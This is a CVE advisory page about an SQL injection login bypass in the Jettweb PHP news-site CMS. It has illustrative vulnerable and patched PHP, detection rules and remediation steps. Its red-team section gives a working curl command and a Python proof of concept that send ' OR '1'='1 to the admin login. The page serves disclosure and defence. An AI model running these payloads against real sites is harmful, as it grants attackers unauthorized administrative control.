CVE-2019-25515
Executive Summary
CVE-2019-25515 is a critical authentication bypass vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V3, a content management system (CMS) for news websites. The flaw resides in the login.php administration panel, where unauthenticated attackers can inject crafted SQL syntax (specifically using = and OR operators) into the username and password fields to bypass authentication entirely. This allows full administrative access to the backend, enabling attackers to modify content, exfiltrate data, or deploy further attacks. The vulnerability is publicly known, with proof-of-concept (PoC) code available, and no official patch has been released by the vendor. The CVSS score is 9.8 (Critical), and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild but high risk for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (Jettweb PHP Hazir Haber Sitesi Scripti V3). No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
- Confidentiality Impact: High (C:H) – Full database access possible.
- Integrity Impact: High (I:H) – Admin panel can be fully controlled.
- Availability Impact: High (A:H) – Potential for denial of service or data destruction.
Threat Level: Critical. Unauthenticated remote attackers can gain full administrative control over the CMS.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection (CWE-89) in the authentication logic of login.php. The application likely constructs SQL queries by directly concatenating user-supplied input without sanitization or parameterized queries. For example, the backend code might execute:
SELECT * FROM admin WHERE username = '$username' AND password = '$password'
By submitting ' OR '1'='1 as both the username and password, the query becomes:
SELECT * FROM admin WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
This evaluates to TRUE for the entire condition, returning the first admin row and granting access. The use of = and OR operators allows bypassing authentication without needing valid credentials.
Attack Flow:
- Attacker identifies the login panel (e.g.,
http://target.com/admin/login.php). - Attacker submits HTTP POST request with
username=' OR '1'='1andpassword=' OR '1'='1. - The server processes the malicious SQL, returns a valid session, and grants admin access.
- Attacker can now access the admin dashboard, modify content, upload files, or execute further attacks.
Vulnerable vs. Patched Code
Vulnerable Code (login.php):
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
// Grant access
session_start();
$_SESSION['admin'] = true;
header('Location: dashboard.php');
} else {
echo "Invalid credentials";
}
?>
Patched Code (using prepared statements):
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM admin WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
session_start();
$_SESSION['admin'] = true;
header('Location: dashboard.php');
} else {
echo "Invalid credentials";
}
?>
The patched version uses parameterized queries, preventing SQL injection. Since no official patch exists, manual remediation is required.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target running Jettweb PHP Hazir Haber Sitesi Scripti V3.
- Access to the login panel (e.g.,
http://target/admin/login.php).
Exploitation Steps:
- Use
curlto send a crafted POST request:curl -X POST http://target/admin/login.php \ -d "username=' OR '1'='1&password=' OR '1'='1" - If successful, the server responds with a redirect to
dashboard.phpand sets a session cookie. - Access the admin panel with the obtained session:
curl -b "PHPSESSID=attacker_session_id" http://target/admin/dashboard.php
Alternative PoC (Python):
import requests
url = "http://target/admin/login.php"
data = {
"username": "' OR '1'='1",
"password": "' OR '1'='1"
}
session = requests.Session()
response = session.post(url, data=data, allow_redirects=False)
if response.status_code == 302 and 'dashboard.php' in response.headers.get('Location', ''):
print("Authentication bypass successful!")
# Now access dashboard
dashboard = session.get("http://target/admin/dashboard.php")
print(dashboard.text)
else:
print("Exploit failed")
Blue Team (Defensive)
Detection & Prevention:
- Monitor HTTP POST requests to
login.phpcontaining SQL keywords (OR,AND,',--,#) in username/password fields. - Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
- Use input validation: reject any input containing single quotes, double dashes, or SQL operators.
- Enforce parameterized queries in PHP (PDO or MySQLi prepared statements).
- Restrict admin panel access via IP whitelisting or VPN.
Lab Setup:
- Deploy a vulnerable instance using Docker (if available) or manually install the script on a local server.
- Use Burp Suite or OWASP ZAP to intercept and modify login requests.
- Test with the provided PoC to confirm vulnerability.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/admin/login.phpwith parameters containing' OR '1'='1or similar SQL injection patterns. - Unusual session cookies (e.g.,
PHPSESSID) from IPs not in the admin whitelist. - Access to
/admin/dashboard.phpfrom unexpected IPs.
- HTTP POST requests to
File IOCs:
- Modified or new files in the admin directory (e.g., webshells, backdoors).
- Suspicious entries in server logs (e.g.,
access.logshowing SQL injection attempts).
Log IOCs:
- Apache/Nginx access logs showing
POST /admin/login.phpwithusername=' OR '1'='1. - Database logs showing unusual queries (e.g.,
SELECT * FROM admin WHERE username = '' OR '1'='1').
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2019_25515_Authentication_Bypass {
meta:
description = "Detects SQL injection attempts targeting Jettweb PHP Hazir Haber Sitesi Scripti V3 login.php"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2019-25515"
strings:
$sqli1 = /username=.*' OR '1'='1/ nocase
$sqli2 = /password=.*' OR '1'='1/ nocase
$sqli3 = /username=.*' OR '1'='1/ nocase
$sqli4 = /password=.*' OR '1'='1/ nocase
condition:
any of ($sqli*)
}
Sigma Rule
title: CVE-2019-25515 Jettweb Authentication Bypass via SQL Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting Jettweb PHP Hazir Haber Sitesi Scripti V3 login.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/admin/login.php'
cs-uri-query|contains:
- "' OR '1'='1"
- "' OR 1=1"
- "' OR '1'='1"
condition: selection
falsepositives:
- Legitimate testing
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2019-25515 Jettweb Authentication Bypass SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/login.php"; http_uri;
content:"username"; http_client_body;
content:"' OR '1'='1"; http_client_body;
content:"password"; http_client_body;
content:"' OR '1'='1"; http_client_body;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable server from the internet if possible.
- Apply virtual patching via WAF rules to block SQL injection patterns.
- Manually patch the
login.phpfile by replacing vulnerable code with parameterized queries (see patched code above). - Change all admin passwords and review user accounts for unauthorized access.
Long-Term Fixes:
- Upgrade to a supported CMS or rewrite the application using secure coding practices.
- Implement input validation and output encoding.
- Use prepared statements for all database queries.
- Conduct regular security audits and penetration testing.
Workarounds:
- Disable the admin panel or restrict access via
.htaccess:<Files "login.php"> Order Deny,Allow Deny from all Allow from 192.168.1.0/24 </Files> - Use HTTP authentication (Basic Auth) as an additional layer.
Valters IT